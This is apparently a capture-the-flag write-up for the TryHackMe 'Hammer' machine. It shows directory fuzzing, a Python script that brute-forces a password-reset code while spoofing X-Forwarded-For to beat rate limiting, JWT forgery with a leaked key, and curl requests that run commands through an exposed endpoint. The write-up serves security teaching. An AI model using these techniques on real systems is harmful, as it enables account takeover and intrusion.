cd ../writeups
2026-07-20·TryHackMe·Machine·12 min

Hammer — TryHackMe Writeup

Medium Linux
WebJWTOTP-BypassRCE
Exploit_Kill_Chain
3 Phases
01Scanning & Fuzzing
Reconnaissance

Nmap exposes SSH and a custom web app on port 1337. Fuzzing with the hmr_ prefix leaks an open log that dumps a valid username.

Tools:Nmapffuf
02OTP Brute Force & Account Takeover
Foothold

Bypassed the password reset rate-limit with X-Forwarded-For spoofing, brute-forced the 4-digit recovery code, and reset the password to grab the user flag.

Tech:OTP Brute Force
Tools:PythonCaido
03JWT Forgery to RCE
PrivEsc

Forged an admin HS256 token using an exposed key, then abused execute_command.php for command execution to retrieve the root flag.

Tech:JWT Forgery
Tools:Caidocurl

Introduction

Hammer is a medium-rated Linux machine that front-ends a small custom PHP web app on a non-standard HTTP port (1337). The application features a login portal with a "forgot password" flow. Our objective is to capture two flags:

  1. A user flag located behind the authenticated dashboard.
  2. A root flag readable only after escalating to an admin role and triggering remote command execution.

The entire attack chain is web-based—no SSH credentials are required for the intended path.


Reconnaissance

Nmap Scan

A full TCP port scan reveals two listening services:

~ / bash
nmap -sC -sV -p- 10.113.158.252 -oN nmap_full.txt

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 0c:27:1c:24:83:8c:fe:e9:81:73:b2:8b:78:0a:0d:63 (RSA)
|   256 12:a8:26:0d:7b:d4:6a:89:e0:3c:1f:99:bd:27:71:f7 (ECDSA)
|_  256 03:5b:2c:9e:9e:49:e5:c9:0f:c8:51:78:23:a2:4c:4e (ED25519)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only two ports are open: SSH and a custom Apache web application on port 1337. The PHPSESSID cookie lacks the HttpOnly flag.

Browsing to http://10.113.158.252:1337/ returns a login page. An HTML comment found in the page source provides a small but crucial hint:

~ / html
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->

This hmr_ prefix serves as an excellent anchor for directory fuzzing.

Web Enumeration

Using the hmr_ convention, we can fuzz for hidden directories:

~ / bash
ffuf -u http://10.113.158.252:1337/hmr_FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -mc 200,204,301,302,403,405 -t 50

This reveals several directories: hmr_css, hmr_js, hmr_images, and most importantly, hmr_logs.

The Leak: hmr_logs/error.logs

The hmr_logs/ directory has auto-indexing enabled, and the error.logs file is world-readable. Digging through the Apache error lines uncovers a critical piece of information:

~ / text
[authz_core:error] ... user tester@hammer.thm: authentication failure for "/restricted-area"

Error logs leaking the username
Error logs leaking the username

We now have a valid username: tester@hammer.thm. The next step is to abuse the password reset functionality.


Initial Foothold

Understanding the Reset Flow

Accessing reset_password.php with the leaked email returns a secondary form asking for a 4-digit recovery code, alongside a hidden s field acting as a client-side countdown timer. Two protections stand out:

  1. Per-session rate limit — visible in the Rate-Limit-Pending response header.
  2. Client-side timer — the s value is merely a number that the browser counts down; the server trusts whatever value we send.

Password reset flow countdown
Password reset flow countdown

Bypassing Rate Limiting and Timers

Two Bugs, One Exploit: Spoofing the X-Forwarded-For header with a random IP defeats the IP-based rate limiter, and submitting a massive s value (e.g., 999999999) neutralizes the client-side countdown. Rotating the PHP session cookie every few attempts prevents the per-session counter from blocking our requests.

A short Python script can quickly iterate through the 0000–9999 space to brute-force the recovery code:

~ / python
import requests
import random

BASE = "http://10.113.158.252:1337"
EMAIL = "tester@hammer.thm"

def xff():
    return f"{random.randint(1,254)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"

s = requests.Session()
for code in range(10000):
    if code % 5 == 0:  # Rotate session to dodge the counter
        s.cookies.clear()
        s.post(f"{BASE}/reset_password.php", data={"email": EMAIL}, headers={"X-Forwarded-For": xff()})

    r = s.post(f"{BASE}/reset_password.php",
               data={"recovery_code": f"{code:04d}", "s": "999999999"},
               headers={"X-Forwarded-For": xff()})

    if "Invalid or expired recovery code" not in r.text:
        print(f"[+] Recovery code = {code:04d}")
        break

The script successfully stops at 1034. With the correct code accepted, we are redirected to the Set New Password form.

Set New Password form
Set New Password form

Login & User Flag

Logging in with our newly set credentials assigns us a token cookie (which is a JWT) and redirects us to the dashboard:

~ / bash
curl -s -i -d "email=tester@hammer.thm" -d "password=H@mmerPwn3d!" \
     http://10.113.158.252:1337/

The dashboard greets us with Welcome, Thor! and presents the user flag:

Dashboard showing the user flag
Dashboard showing the user flag

User Flag
•••••••••••••••••[ Click to reveal flag ]

Privilege Escalation

Anatomy of the Issued Token

Decoding the token cookie from the dashboard reveals the following structure:

Decoded JWT in caido
Decoded JWT in caido

Header:

~ / json
{
  "typ": "JWT",
  "alg": "HS256",
  "kid": "/var/www/mykey.key"
}

Payload:

~ / json
{
  "iss": "http://hammer.thm",
  "aud": "http://hammer.thm",
  "data": {
    "user_id": 1,
    "email": "tester@hammer.thm",
    "role": "user"
  }
}

Two key observations:

  1. The algorithm is symmetric (HS256), meaning the same secret is used to both sign and verify the token.
  2. Our current role is user. We need to elevate this to admin to interact with the command execution endpoint.

Analyzing the Dashboard

The dashboard provides a command execution interface. Attempting to run standard commands like pwd results in a "Command not allowed" error.

Command not allowed error
Command not allowed error

However, testing other basic commands reveals that ls executes successfully:

ls command output
ls command output

~ / json
{
  "output": "188ade1.key\ncomposer.json\nconfig.php\ndashboard.php\nexecute_command.php\nhmr_css\nhmr_images\nhmr_js\nhmr_logs\nindex.php\nlogout.php\nreset_password.php\nvendor\n"
}

Most of these files are standard or expected, but 188ade1.key stands out.

Recovering the Signing Secret

Since 188ade1.key is located in the web root, we can fetch it directly:

~ / bash
curl -s http://10.113.158.252:1337/188ade1.key
# Output: 56058354efb3daa97ebab00fabd7a7d7

This 32-character string is the HMAC secret used to sign the JWTs.

Forging the Admin Token

With the secret in hand, we can forge a new token. We will update the payload to set the role to admin, keep the kid pointing to the absolute path /var/www/html/188ade1.key, and sign it using the recovered secret string.

You can use a proxy like Caido or Burp Suite, online tools like jwt.io, or a custom Python script to generate the forged JWT.

Forging the JWT with the admin role
Forging the JWT with the admin role

Triggering RCE via execute_command.php

The dashboard sends POST requests to execute_command.php, which validates whether the role is admin. We can replay this request using our newly forged bearer token:

~ / bash
curl -s 'http://10.113.158.252:1337/execute_command.php' \
  -H "Authorization: Bearer <ADMIN_JWT>" \
  -H "Content-Type: application/json" \
  -d '{"command":"id"}'

Because the application is vulnerable to OS command injection via this endpoint, any command we send will be executed by the web service account. To read the root flag:

~ / bash
curl -s 'http://10.113.158.252:1337/execute_command.php' \
  -H "Authorization: Bearer <ADMIN_JWT>" \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /home/ubuntu/flag.txt"}'

Manual Execution: You can easily send the forged Authorization: Bearer <ADMIN_JWT> request to execute_command.php using a tool like Caido or Burp Suite Repeater. Include the JSON body {"command":"cat /home/ubuntu/flag.txt"} to retrieve the flag.

Executing the command in Caido
Executing the command in Caido

Root Flag:

Root Flag
••••••••••••••••••••••••••••••••••••••••••[ Click to reveal flag ]

Summary

Hammer is an excellent demonstration of chaining small web vulnerabilities to achieve complete system compromise:

  1. An open log directory (hmr_logs/error.logs) leaked a valid username.
  2. A recovery-code reset with a small 4-digit keyspace and easily bypassable rate-limiting allowed for account takeover.
  3. A symmetrically-signed JWT paired with an exposed HMAC secret enabled us to forge an admin token, ultimately leading to OS command execution.
about the author
Eye of Ra
Asbawy(Mohammed Al-Kasabi)

Red Team Consultant · Penetration Tester · Bug Bounty Hunter

Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.

// end of writeup — return /writeups